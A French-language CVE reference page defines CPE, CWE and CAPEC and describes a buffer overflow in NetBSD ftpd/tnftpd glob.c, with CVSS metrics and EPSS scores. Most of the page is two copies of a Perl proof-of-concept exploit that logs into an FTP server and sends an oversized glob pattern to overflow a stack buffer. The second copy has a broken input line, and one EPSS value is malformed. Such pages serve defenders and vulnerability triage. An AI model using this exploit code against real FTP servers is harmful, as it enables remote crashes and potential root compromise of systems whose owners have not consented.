CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Buffer overflow in the glob implementation (glob.c) in libc in NetBSD-current before 20050914, NetBSD 2.* and 3.* before 20061203, and Apple Mac OS X before 2007-004, as used by the FTP daemon and tnftpd, allows remote authenticated users to execute arbitrary code via a long pathname that results from path expansion.
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
9
AV:N/AC:L/Au:S/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
35.94%
–
–
2022-04-03
–
–
35.94%
–
–
2023-03-12
–
–
–
2.61%
–
2023-04-16
–
–
–
2.34%
–
2023-05-28
–
–
–
2.55%
–
2023-07-02
–
–
–
3.07%
–
2023-09-17
–
–
–
2.29%
–
2023-12-17
–
–
–
2.29%
–
2024-04-14
–
–
–
2.29%
–
2024-06-02
–
–
–
2.29%
–
2024-06-02
–
–
–
2.29%
–
2024-12-22
–
–
–
56.99%
–
2025-01-19
–
–
–
56.99%
–
2025-03-18
–
–
–
–
38.26%
2025-03-30
–
–
–
–
32.53%
2025-04-10
–
–
–
–
32.53%
2025-04-10
–
–
–
–
32.53,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2006-11-29 23h00 +00:00 Auteur : kingcope EDB Vérifié : Yes
#!perl
# $$$ NetBSD ftpd and ports *Remote ROOOOOT $HOLE$* $$$
#
# About
#
# tnftpd is a port of the NetBSD FTP server to other systems.
# It offers many enhancements over the traditional BSD ftpd,
# including per-class configuration directives via ftpd.conf(5),
# RFC 2389 and draft-ietf-ftpext-mlst-11 support, IPv6,
# transfer rate throttling, and more.
# tnftpd was formerly known as lukemftpd,
# and earlier versions are present in Mac OS X 10.2 (as ftpd)
# and FreeBSD 5.0 (as lukemftpd).
#
# Description
#
# The NetBSD ftpd and the tnftpd port suffer from a remote stack overrun,
# which can lead to a root compromise.
#
# The bug is in glob.c file. The globbing mechanism is flawed as back in
# 2001.
#
# To trigger the overflow you can create a folder and use the globbing
# special characters (like STARS) to overflow an internal stack based buffer.
#
# gdb output tested on NetBSD 3.0 i386 NetBSD-ftpd 20050303 :
# (gdb) c
# Continuing.
#
# Program received signal SIGSEGV, Segmentation fault.
# 0x00410041 in ?? ()
# (gdb)
#
# tnftpd-20040810 behaves similar.
# FreeBSD (lukemftpd) and MacOSX (ftpd) were not tested,
# however they could have the same bug, because of the same
# codebase.
#
# The problem when exploiting this kind of bug is,
# that we can only control 0x00410041, not the whole
# 32 bit. However it looks feasible to find a way
# to do a hole EIP redirection and/or exploit
# the bug the "unicode" way, which could be especially
# hard on BSD systems.
# kcope
use IO::Socket;
$sock = IO::Socket::INET->new(PeerAddr => '192.168.2.10',
PeerPort => '21',
Proto => 'tcp');
$c = "C";
$a = "C" x 255;
$d = "A" x 450;
print $sock "USER kcope\r\n";
print $sock "PASS remoteroot\r\n";
$x = <stdin>;
print $sock "MKD $a\r\n";
print $sock "NLST C*/../C*/../C*/../$d\r\n";
print $sock "QUIT\r\n";
while (<$sock>) {
print;
}
# milw0rm.com [2006-11-30]
Date de publication : 2006-11-30 23h00 +00:00 Auteur : kcope EDB Vérifié : Yes
source: https://www.securityfocus.com/bid/21377/info
NetBSD ftpd and tnftpd are prone to a remote buffer-overflow vulnerability. This issue is due to an off-by-one error; it allows attackers to corrupt memory.
Remote attackers may execute arbitrary machine code in the context of the user running the affected application. Failed attempts will likely result in denial-of-service conditions.
#!perl
# $$$ NetBSD ftpd and ports *Remote ROOOOOT $HOLE$* $$$
#
# About
#
# tnftpd is a port of the NetBSD FTP server to other systems.
# It offers many enhancements over the traditional BSD ftpd,
# including per-class configuration directives via ftpd.conf(5),
# RFC 2389 and draft-ietf-ftpext-mlst-11 support, IPv6,
# transfer rate throttling, and more.
# tnftpd was formerly known as lukemftpd,
# and earlier versions are present in Mac OS X 10.2 (as ftpd)
# and FreeBSD 5.0 (as lukemftpd).
#
# Description
#
# The NetBSD ftpd and the tnftpd port suffer from a remote stack overrun,
# which can lead to a root compromise.
#
# The bug is in glob.c file. The globbing mechanism is flawed as back in
# 2001.
#
# To trigger the overflow you can create a folder and use the globbing
# special characters (like STARS) to overflow an internal stack based
buffer.
#
# gdb output tested on NetBSD 3.0 i386 NetBSD-ftpd 20050303 :
# (gdb) c
# Continuing.
#
# Program received signal SIGSEGV, Segmentation fault.
# 0x00410041 in ?? ()
# (gdb)
#
# tnftpd-20040810 behaves similar.
# FreeBSD (lukemftpd) and MacOSX (ftpd) were not tested,
# however they could have the same bug, because of the same
# codebase.
#
# The problem when exploiting this kind of bug is,
# that we can only control 0x00410041, not the whole
# 32 bit. However it looks feasible to find a way
# to do a hole EIP redirection and/or exploit
# the bug the "unicode" way, which could be especially
# hard on BSD systems.
# kcope
use IO::Socket;
$sock = IO::Socket::INET->new(PeerAddr => '192.168.2.10',
PeerPort => '21',
Proto => 'tcp');
$c = "C";
$a = "C" x 255;
$d = "A" x 450;
print $sock "USER kcope\r\n";
print $sock "PASS remoteroot\r\n";
$x = ;
print $sock "MKD $a\r\n";
print $sock "NLST C*/../C*/../C*/../$d\r\n";
print $sock "QUIT\r\n";
while (<$sock>) {
print;
}